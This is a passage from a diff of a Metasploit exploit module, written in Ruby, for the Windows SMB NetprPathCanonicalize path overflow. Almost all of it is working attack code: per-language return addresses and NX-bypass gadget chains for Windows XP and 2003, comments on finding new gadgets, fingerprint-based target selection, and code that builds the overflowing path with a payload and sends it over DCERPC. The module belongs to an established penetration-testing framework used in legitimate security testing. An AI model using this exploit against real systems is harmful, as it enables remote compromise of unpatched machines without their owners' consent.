=> 0x00020408 - } + ['Windows XP SP2 Swedish (NX)', + { + 'Ret' => 0x597af727, + 'DisableNX' => 0x597b16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Arabic (NX)', - { - 'Ret' => 0x6fd8f807, - 'DisableNX' => 0x6fd917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Turkish (NX)', + { + 'Ret' => 0x5a78f727, + 'DisableNX' => 0x5a7916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)', - { - 'Ret' => 0x5860f807, - 'DisableNX' => 0x586117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Arabic (NX)', + { + 'Ret' => 0x6fd8f807, + 'DisableNX' => 0x6fd917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Simplified (NX)', - { - 'Ret' => 0x58fbf807, - 'DisableNX' => 0x58fc17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Traditional / Taiwan (NX)', + { + 'Ret' => 0x5860f807, + 'DisableNX' => 0x586117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Traditional (NX)', - { - 'Ret' => 0x5860f807, - 'DisableNX' => 0x586117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Simplified (NX)', + { + 'Ret' => 0x58fbf807, + 'DisableNX' => 0x58fc17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Czech (NX)', - { - 'Ret' => 0x6fe1f807, - 'DisableNX' => 0x6fe217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Traditional (NX)', + { + 'Ret' => 0x5860f807, + 'DisableNX' => 0x586117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Danish (NX)', - { - 'Ret' => 0x5978f807, - 'DisableNX' => 0x597917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Czech (NX)', + { + 'Ret' => 0x6fe1f807, + 'DisableNX' => 0x6fe217c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 German (NX)', - { - 'Ret' => 0x6fd9f807, - 'DisableNX' => 0x6fda17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Danish (NX)', + { + 'Ret' => 0x5978f807, + 'DisableNX' => 0x597917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Greek (NX)', - { - 'Ret' => 0x592af807, - 'DisableNX' => 0x592b17c2, - 'Scratch' => 0x00020408 - } - ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - - - # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Spanish (NX)', - { - 'Ret' => 0x6fdbf807, - 'DisableNX' => 0x6fdc17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 German (NX)', + { + 'Ret' => 0x6fd9f807, + 'DisableNX' => 0x6fda17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Finnish (NX)', - { - 'Ret' => 0x597df807, - 'DisableNX' => 0x597e17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Greek (NX)', + { + 'Ret' => 0x592af807, + 'DisableNX' => 0x592b17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 French (NX)', - { - 'Ret' => 0x595bf807, - 'DisableNX' => 0x595c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Spanish (NX)', + { + 'Ret' => 0x6fdbf807, + 'DisableNX' => 0x6fdc17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Hebrew (NX)', - { - 'Ret' => 0x5940f807, - 'DisableNX' => 0x594117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Finnish (NX)', + { + 'Ret' => 0x597df807, + 'DisableNX' => 0x597e17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Hungarian (NX)', - { - 'Ret' => 0x5970f807, - 'DisableNX' => 0x597117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 French (NX)', + { + 'Ret' => 0x595bf807, + 'DisableNX' => 0x595c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Italian (NX)', - { - 'Ret' => 0x596bf807, - 'DisableNX' => 0x596c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Hebrew (NX)', + { + 'Ret' => 0x5940f807, + 'DisableNX' => 0x594117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Japanese (NX)', - { - 'Ret' => 0x567fd4d2, - 'DisableNX' => 0x568017c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Hungarian (NX)', + { + 'Ret' => 0x5970f807, + 'DisableNX' => 0x597117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Korean (NX)', - { - 'Ret' => 0x6fd6f807, - 'DisableNX' => 0x6fd717c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Italian (NX)', + { + 'Ret' => 0x596bf807, + 'DisableNX' => 0x596c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Dutch (NX)', - { - 'Ret' => 0x596cf807, - 'DisableNX' => 0x596d17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Japanese (NX)', + { + 'Ret' => 0x567fd4d2, + 'DisableNX' => 0x568017c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Norwegian (NX)', - { - 'Ret' => 0x597cf807, - 'DisableNX' => 0x597d17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Korean (NX)', + { + 'Ret' => 0x6fd6f807, + 'DisableNX' => 0x6fd717c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Polish (NX)', - { - 'Ret' => 0x5941f807, - 'DisableNX' => 0x594217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Dutch (NX)', + { + 'Ret' => 0x596cf807, + 'DisableNX' => 0x596d17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Portuguese - Brazilian (NX)', - { - 'Ret' => 0x596ff807, - 'DisableNX' => 0x597017c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Norwegian (NX)', + { + 'Ret' => 0x597cf807, + 'DisableNX' => 0x597d17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Portuguese (NX)', - { - 'Ret' => 0x596bf807, - 'DisableNX' => 0x596c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Polish (NX)', + { + 'Ret' => 0x5941f807, + 'DisableNX' => 0x594217c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Russian (NX)', - { - 'Ret' => 0x6fe1f807, - 'DisableNX' => 0x6fe217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Portuguese - Brazilian (NX)', + { + 'Ret' => 0x596ff807, + 'DisableNX' => 0x597017c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Swedish (NX)', - { - 'Ret' => 0x597af807, - 'DisableNX' => 0x597b17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Portuguese (NX)', + { + 'Ret' => 0x596bf807, + 'DisableNX' => 0x596c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Turkish (NX)', - { - 'Ret' => 0x5a78f807, - 'DisableNX' => 0x5a7917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Russian (NX)', + { + 'Ret' => 0x6fe1f807, + 'DisableNX' => 0x6fe217c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 Swedish (NX)', + { + 'Ret' => 0x597af807, + 'DisableNX' => 0x597b17c2, + 'Scratch' => 0x00020408 + } + ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL + + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 Turkish (NX)', + { + 'Ret' => 0x5a78f807, + 'DisableNX' => 0x5a7917c2, + 'Scratch' => 0x00020408 + } + ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL + + # + # Windows 2003 Targets + # + # Standard return-to-ESI without NX bypass - # Provided by Masashi Fujiwara - [ 'Windows 2003 SP2 Japanese (NO NX)', - { - 'Ret' => 0x71a91ed2, - 'Scratch' => 0x00020408 - } - ], # JMP ESI WS2HELP.DLL - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 Spanish (NO NX)', - { - 'Ret' => 0x71ac21a2, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 English (NO NX)', + { + 'Ret' => 0x71bf21a2, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP1 - [ 'Windows 2003 SP1 Spanish (NX)', - { - 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL - 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 English (NX)', + { + 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL + 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } ], # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 Spanish (NO NX)', - { - 'Ret' => 0x71ac3969, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 Japanese (NO NX)', + { + 'Ret' => 0x71a921a2, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP1 Spanish (NO NX)', + { + 'Ret' => 0x71ac21a2, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP1 + ['Windows 2003 SP1 Spanish (NX)', + { + 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL + 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP2 English (NO NX)', + { + 'Ret' => 0x71bf3969, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 Spanish (NX)', + ['Windows 2003 SP2 English (NX)', + { + 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP2 German (NO NX)', + { + 'Ret' => 0x71a03969, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP2 + ['Windows 2003 SP2 German (NX)', + { + 'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], + + # Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas) + [ 'Windows 2003 SP2 Portuguese - Brazilian (NX)', { - 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL + 'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK + 'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK + 'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK + 'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } - ] + ], + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP2 Spanish (NO NX)', + { + 'Ret' => 0x71ac3969, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP2 + ['Windows 2003 SP2 Spanish (NX)', + { + 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], + + # Standard return-to-ESI without NX bypass + # Provided by Masashi Fujiwara + ['Windows 2003 SP2 Japanese (NO NX)', + { + 'Ret' => 0x71a91ed2, + 'Scratch' => 0x00020408 + } + ], # JMP ESI WS2HELP.DLL # # Missing Targets @@ -708,105 +711,100 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), + OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']), ], self.class) - end - -=begin - - - *** WINDOWS XP SP2/SP3 TARGETS *** - - - This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX - for the process and then returns back to a call ESI instruction. These addresses are different - between operating systems, service packs, and language packs, but the steps below can be used to - add new targets. - - - If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and - DisableNX elements of the target hash. - - If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. - First obtain the value for the Ret element of the hash with the following command: - - $ msfpescan -j esi acgenral.dll - - Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. - - Next, find the location of the function we use to disable NX. Use the following command: - - $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll - - This address should be placed into the DisableNX element of the target hash. - - The Scratch element of 0x00020408 should work on all versions of Windows - - The actual function we use to disable NX looks like this: - - push 4 - lea eax, [ebp+arg_0] - push eax - push 22h - push 0FFFFFFFFh - mov [ebp+arg_0], 2 - call ds:__imp__NtSetInformationProcess@16 - - - *** WINDOWS XP NON-NX TARGETS *** - - - Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short - jump, and finally the shellcode. - - - *** WINDOWS 2003 SP2 TARGETS *** - - - There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, - both of these are inside NTDLL.DLL and use a return method that is not directly compatible - with our call stack. To solve this, Brett Moore figured out a multi-step return call chain - that eventually leads to the NX bypass function. - - - *** WINDOWS 2000 TARGETS *** - - - No NX to bypass, just return directly to a "JMP EDX", which takes us to the short - jump, and finally the shellcode. - - - *** WINDOWS VISTA TARGETS *** - - Currently untested, will involve ASLR and NX, should be fun. - - - *** NetprPathCanonicalize IDL *** - - - NET_API_STATUS NetprPathCanonicalize( - [in, string, unique] SRVSVC_HANDLE ServerName, - [in, string] WCHAR* PathName, - [out, size_is(OutbufLen)] unsigned char* Outbuf, - [in, range(0,64000)] DWORD OutbufLen, - [in, string] WCHAR* Prefix, - [in, out] DWORD* PathType, - [in] DWORD Flags - ); - -=end + # + # + # *** WINDOWS XP SP2/SP3 TARGETS *** + # + # + # This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX + # for the process and then returns back to a call ESI instruction. These addresses are different + # between operating systems, service packs, and language packs, but the steps below can be used to + # add new targets. + # + # + # If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and + # DisableNX elements of the target hash. + # + # If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. + # First obtain the value for the Ret element of the hash with the following command: + # + # $ msfpescan -j esi acgenral.dll + # + # Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. + # + # Next, find the location of the function we use to disable NX. Use the following command: + # + # $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll + # + # This address should be placed into the DisableNX element of the target hash. + # + # The Scratch element of 0x00020408 should work on all versions of Windows + # + # The actual function we use to disable NX looks like this: + # + # push 4 + # lea eax, [ebp+arg_0] + # push eax + # push 22h + # push 0FFFFFFFFh + # mov [ebp+arg_0], 2 + # call ds:__imp__NtSetInformationProcess@16 + # + # + # *** WINDOWS XP NON-NX TARGETS *** + # + # + # Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short + # jump, and finally the shellcode. + # + # + # *** WINDOWS 2003 SP2 TARGETS *** + # + # + # There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, + # both of these are inside NTDLL.DLL and use a return method that is not directly compatible + # with our call stack. To solve this, Brett Moore figured out a multi-step return call chain + # that eventually leads to the NX bypass function. + # + # + # *** WINDOWS 2000 TARGETS *** + # + # + # No NX to bypass, just return directly to a "JMP EDX", which takes us to the short + # jump, and finally the shellcode. + # + # + # *** WINDOWS VISTA TARGETS *** + # + # Currently untested, will involve ASLR and NX, should be fun. + # + # + # *** NetprPathCanonicalize IDL *** + # + # + # NET_API_STATUS NetprPathCanonicalize( + # [in, string, unique] SRVSVC_HANDLE ServerName, + # [in, string] WCHAR* PathName, + # [out, size_is(OutbufLen)] unsigned char* Outbuf, + # [in, range(0,64000)] DWORD OutbufLen, + # [in, string] WCHAR* Prefix, + # [in, out] DWORD* PathType, + # [in] DWORD Flags + # ); + # def exploit - begin - connect() - smb_login() + connect + smb_login rescue Rex::Proto::SMB::Exceptions::LoginError => e - if (e.message =~ /Connection reset/) - print_error("Connection reset during login") - print_error("This most likely means a previous exploit attempt caused the service to crash") + if e.message =~ /Connection reset/ + print_error('Connection reset during login') + print_error('This most likely means a previous exploit attempt caused the service to crash') return else raise e @@ -816,74 +814,73 @@ class Metasploit3 < Msf::Exploit::Remote # Use a copy of the target mytarget = target - - if(target['auto']) + if target['auto'] mytarget = nil - print_status("Automatically detecting the target...") - fprint = smb_fingerprint() + print_status('Automatically detecting the target...') + fprint = smb_fingerprint print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS - if(fprint['os'] == 'Unknown') - fail_with(Failure::NoTarget, "No matching target") + if (fprint['os'] == 'Unknown') + fail_with(Failure::NoTarget, 'No matching target') end # Windows 2000 is mostly universal - if(fprint['os'] == 'Windows 2000') - mytarget = self.targets[1] + if (fprint['os'] == 'Windows 2000') + mytarget = targets[1] end # Windows XP SP0/SP1 is mostly universal - if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") - mytarget = self.targets[2] + if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1' + mytarget = targets[2] end # Windows 2003 SP0 is mostly universal - if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") - mytarget = self.targets[7] + if fprint['os'] == 'Windows 2003' and fprint['sp'] == 'No Service Pack' + mytarget = targets[3] end # Windows 2003 R2 is treated the same as 2003 - if(fprint['os'] == 'Windows 2003 R2') + if (fprint['os'] == 'Windows 2003 R2') fprint['os'] = 'Windows 2003' end # Service Pack match must be exact - if((not mytarget) and fprint['sp'].index('+')) - print_error("Could not determine the exact service pack") + if (not mytarget) and fprint['sp'].index('+') + print_error('Could not determine the exact service pack') print_status("Auto-targeting failed, use 'show targets' to manually select one") disconnect return end # Language Pack match must be exact or we default to English - if((not mytarget) and fprint['lang'] == 'Unknown') - print_status("We could not detect the language pack, defaulting to English") + if (not mytarget) and fprint['lang'] == 'Unknown' + print_status('We could not detect the language pack, defaulting to English') fprint['lang'] = 'English' end # Normalize the service pack string fprint['sp'].gsub!(/Service Pack\s+/, 'SP') - if(not mytarget) - self.targets.each do |t| + unless mytarget + targets.each do |t| # Prefer AlwaysOn NX over NX, and NX over non-NX - if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/) + if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/ mytarget = t break end - if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) + if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/ mytarget = t break end end end - if(not mytarget) - fail_with(Failure::NoTarget, "No matching target") + unless mytarget + fail_with(Failure::NoTarget, 'No matching target') end print_status("Selected Target: #{mytarget.name}") @@ -893,42 +890,41 @@ class Metasploit3 < Msf::Exploit::Remote # Build the malicious path name # - padder = [*("A".."Z")] - pad = "A" - while(pad.length < 7) + padder = [*('A'..'Z')] + pad = 'A' + while pad.length < 7 c = padder[rand(padder.length)] next if pad.index(c) pad += c end - prefix = "\\" - path = "" - server = Rex::Text.rand_text_alpha(rand(8)+1).upcase - + prefix = '\\' + path = '' + server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase # # Windows 2003 SP2 (NX) targets # - if(mytarget['RetDec']) + if mytarget['RetDec'] jumper = Rex::Text.rand_text_alpha(70).upcase - jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room + jumper[ 0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room - jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space - jumper[ 8,4] = [mytarget['RetDec']].pack("V") - jumper[ 12,4] = [mytarget['RetDec']].pack("V") - jumper[ 16,4] = [mytarget['RetDec']].pack("V") + jumper[ 4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space + jumper[ 8, 4] = [mytarget['RetDec']].pack('V') + jumper[ 12, 4] = [mytarget['RetDec']].pack('V') + jumper[ 16, 4] = [mytarget['RetDec']].pack('V') - jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP - jumper[ 24,4] = [mytarget['DisableNX']].pack("V") + jumper[ 20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP + jumper[ 24, 4] = [mytarget['DisableNX']].pack('V') - jumper[ 56,4] = [mytarget['JmpESP']].pack("V") - jumper[ 60,4] = [mytarget['JmpESP']].pack("V") - jumper[ 64,2] = "\xeb\x02" # our jump - jumper[ 68,2] = "\xeb\x62" # original + jumper[ 56, 4] = [mytarget['JmpESP']].pack('V') + jumper[ 60, 4] = [mytarget['JmpESP']].pack('V') + jumper[ 64, 2] = "\xeb\x02" # our jump + jumper[ 68, 2] = "\xeb\x62" # original path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -937,16 +933,16 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) - [mytarget['Scratch']].pack("V") + # EBP + [mytarget['Scratch']].pack('V') + # EBP # Return to code which disables NX (or just the return) - [mytarget['RetDec']].pack("V") + + [mytarget['RetDec']].pack('V') + # Padding with embedded jump jumper + @@ -957,12 +953,12 @@ class Metasploit3 < Msf::Exploit::Remote # # Windows XP SP2/SP3 ROP Stager targets # - elsif(mytarget['UseROP']) + elsif mytarget['UseROP'] rop = generate_rop(mytarget['UseROP']) path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -971,7 +967,7 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + @@ -991,12 +987,12 @@ class Metasploit3 < Msf::Exploit::Remote else jumper = Rex::Text.rand_text_alpha(70).upcase - jumper[ 4,4] = [mytarget.ret].pack("V") - jumper[50,8] = make_nops(8) - jumper[58,2] = "\xeb\x62" + jumper[ 4, 4] = [mytarget.ret].pack('V') + jumper[50, 8] = make_nops(8) + jumper[58, 2] = "\xeb\x62" path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -1005,16 +1001,16 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) - [mytarget['Scratch']].pack("V") + # EBP + [mytarget['Scratch']].pack('V') + # EBP # Return to code which disables NX (or just the return) - [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + + [mytarget['DisableNX'] || mytarget.ret].pack('V') + # Padding with embedded jump jumper + @@ -1040,7 +1036,7 @@ class Metasploit3 < Msf::Exploit::Remote NDR.long(0) # NOTE: we don't bother waiting for a response here... - print_status("Attempting to trigger the vulnerability...") + print_status('Attempting to trigger the vulnerability...') dcerpc.call(0x1f, stub, false) # Cleanup @@ -1050,15 +1046,15 @@ class Metasploit3 < Msf::Exploit::Remote def check begin - connect() - smb_login() + connect + smb_login rescue Rex::ConnectionError => e vprint_error("Connection failed: #{e.class}: #{e}") return Msf::Exploit::CheckCode::Unknown rescue Rex::Proto::SMB::Exceptions::LoginError => e - if (e.message =~ /Connection reset/) - vprint_error("Connection reset during login") - vprint_error("This most likely means a previous exploit attempt caused the service to crash") + if e.message =~ /Connection reset/ + vprint_error('Connection reset during login') + vprint_error('This most likely means a previous exploit attempt caused the service to crash') return Msf::Exploit::CheckCode::Unknown else raise e @@ -1068,30 +1064,30 @@ class Metasploit3 < Msf::Exploit::Remote # # Build the malicious path name # 5b878ae7 "db @eax;g" - prefix = "\\" + prefix = '\\' path = - "\x00\\\x00/"*0x10 + - Rex::Text.to_unicode("\\") + - Rex::Text.to_unicode("R7") + - Rex::Text.to_unicode("\\..\\..\\") + - Rex::Text.to_unicode("R7") + - "\x00"*2 + "\x00\\\x00/" * 0x10 + + Rex::Text.to_unicode('\\') + + Rex::Text.to_unicode('R7') + + 